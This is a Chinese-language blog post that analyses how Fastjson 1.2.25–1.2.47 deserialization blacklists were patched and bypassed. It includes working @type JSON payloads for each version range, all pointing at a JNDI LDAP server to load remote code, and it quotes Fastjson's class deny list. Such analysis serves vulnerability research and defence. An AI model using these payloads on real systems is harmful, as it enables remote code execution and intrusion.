Fastjson 反序列化漏洞分析 1.2.25-1.2.47

Zh1z3ven發表於2022-01-25

Fastjson 反序列化漏洞分析 1.2.25-1.2.47

寫在前面

上一篇文,主要跟了下Fastjson中反序列化的邏輯,以及在1.2.22-1.2.24版本中TemplatesImplJdbcRowSetImpl兩條鏈,這篇記錄下各個版本的Bypass補丁和繞過的復現,打算後面再寫篇文,整理下不出網如何利用Fastjson

Fastjson 1.2.25修復

修復改動:

  • 自從1.2.25 起 autotype 預設為False
  • 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制

修改pom.xml換成1.2.25版本的Fastjson

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

首先對著1.2.25版本的fastjson打一發1.2.24版本的payload,看一下結果,已經打不成了。

先來把1.2.25jar包下下來,使用idea中Compare With... diff下原始碼看下如何修復的,在DefaultJSONParser類中多了一個checkAutoType方法檢測

這裡的話如果開了autoType會先走一個白名單acceptList的判斷,如果當前@Type指定的要反序列化的類以acceptList陣列中某一元素開頭則直接loadClass去載入

但是因為預設白名單是空的,需要自己去add,所以走下面的黑名單denyList,黑名單如下:

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

而1.2.24 中我們用到的類是com.sun.rowset.JdbcRowSetImpl也在黑名單中,所以會丟擲auto type not support異常

而如果沒有開啟autoType則會先走黑名單,如果指定類不在黑名單中再走白名單的判斷,符合後再去loadClass該類

Fastjson 1.2.25-1.2.41 Bypass

先看第一種payload:需開啟autoType

"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";

這個點其實上一篇文章有提到,除錯看一下
首先跟進到checkAutoType中,因為這次@type指定類寫法變為Lcom.sun.rowset.JdbcRowSetImpl; 所以可以很輕鬆的繞過黑名單

後續在loadClass方法中 ,滿足了類名以L開頭以;結尾,進而也可以呼叫到loadClass載入並返回class物件

L [ ; 這些字元是 JNI 欄位描述符,可參考這篇文章

那因此,當className第一個字元為[時也同樣可以進行繞過
payload: 需開啟autoType

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

首先是通過[繞過黑名單進入loadClass,之後第一次讀取完類名為[com.sun.rowset.JdbcRowSetImpl,loadClass之後變為[Lcom.sun.rowset.JdbcRowSetImpl;。而之後的[{判斷分別在JavaBeanDeserializer#deserialze方法和DefaultJSONParser#parseArray方法中
parseArray:需要當前有[才進入後續deserialze方法

後續在deserialze方法中,需要構造{。具體可參考這篇文章

當然這個payload是可以通殺1.2.25-1.2.43版本

Fastjson 1.2.25-1.2.42 Bypass

從1.2.42版本開始,在ParserConfig類中可以看到黑名單改為了雜湊黑名單,目的是防止對黑名單進行分析繞過,目前已經破解出來的黑名單:https://github.com/LeadroyaL/fastjson-blacklist

payload:需開啟autoType ,通過雙寫L;進行繞過

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}

下面除錯分析一下,還是跟進到checkAutoType方法開始看
首先第一次處理時會先去掉一層L ;

然後進行黑名單hash的比對,比對完成後進入loadClass方法

跟進後發現傳遞的引數依然是typeName而不是我們上面看到的className,那麼看看下面是如何處理掉2層L;的,首先依然是進入滿足L開頭;結尾的邏輯,之後通過遞迴的方式去處理的className,所以當第二次再進入loadClass方法時就會去除掉L;以正常的類名去loadClass

Fastjson 1.2.25-1.2.43 Bypass

在1.2.43版本時在checkAutoType方法新增了如下的判斷,導致雙寫L,;無法繞過。所以在此版本下可以選擇上面提到的,走入[的判斷邏輯去觸發JNDI

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

Fastjson 1.2.25-1.2.45 Bypass

1.2.44版本對[的繞過payload做了限制,當第一個字元為[時丟擲異常

payload:開啟autoTyoe;需要目標服務端存在mybatis的jar包,且版本需為3.x.x-3.5.0的版本。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}

該payload主要因為org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名單中可繞過檢測,因為傳入properties會呼叫setProperties方法進而觸發JNDI

Fastjson 1.2.25-1.2.47 通殺

這裡有2個版本段

  • 1.2.25-1.2.32版本:不能開啟AutoType
  • 1.2.33-1.2.47版本:無論是否開啟AutoType,都能成功利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho",
        "autoCommit":true
    }
}

1.2.25-1.2.32 不能開啟autoType

首先來看1.2.25-1.2.32不能開啟AutoType

還是看到checkAutoType方法,因為沒開啟autotype所以不會進入黑白名單判斷的邏輯,並且因為是jdk自帶的Class類,所以可以找到

最終將其class物件直接return出來

之後呼叫MiscCodec#deserialize方法時,會去呼叫loadClass 載入JdbcRowSetImpl,而strVal的值是在上面通過判斷鍵是否為”val”,是的話再提取val鍵對應的值賦給objVal變數,而objVal在後面會賦值給strVal變數。

跟進loadClass,最終會將className與class物件的對映快取到mappings中

而再一次進入checkAutoType方法後,會先從mappings中拿出class物件賦值給clazz

後續直接return該class物件 ,從而繞過了檢測

1.2.33-1.2.47 通殺

這裡拿1.2.47做除錯
依舊是跟進到checkAutoType方法,和上面的部分一樣,依舊是通過findClass可以找到java.lang.Class類,之後將其class物件return出來,之後就是將JdbcRowSetImpl快取到mappings裡

主要看第二次進入checkAutoType時的邏輯,主要是下面這個if。

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
}

但是看網上文章都說是“滿足”條件,這裡我跟的時候發現這兩個判斷結果都為false,主要存在不同的是第二個點,這裡我是開啟autotype除錯的,因為這裡進入checkAutoType直接就進行了白+黑的檢測,並沒有呼叫getMapping,所以這裡if中第二個條件為null,也即false,從而不會丟擲異常

後續就沒啥好說的了,和上面過程類似,從mappings中獲取到JdbcSetRowImpl之後直接返回該class物件

為什麼分成兩個小版本段

我們來diff下1.2.32和1.2.33,看看具體變動在哪裡,觀察到checkAutoType方法在1.2.33之後多了TypeUtils.getClassFromMapping(typeName) == null,也就是在黑名單中也會從mappings獲取類,也就是當前類在黑名單中且在mappings中沒有,才會丟擲異常;而在1.2.32之前,只是黑名單的判斷,在黑名單中就拋異常,不在就不拋。

Fastjson 1.2.48版本修復

在TypeUtils#loadClass中禁止了cache的使用,那麼通過先put到mappings中再等到第二次走checkAutoType時再呼叫TypeUtils.getClassFromMapping()來載入這種繞過黑名單的姿勢就不能再用了

Reference

https://su18.org/post/fastjson/
https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——歷史版本補丁繞過(需開啟AutoType)/
https://xz.aliyun.com/t/9052
https://www.cnblogs.com/nice0e3/p/14776043.html

相關文章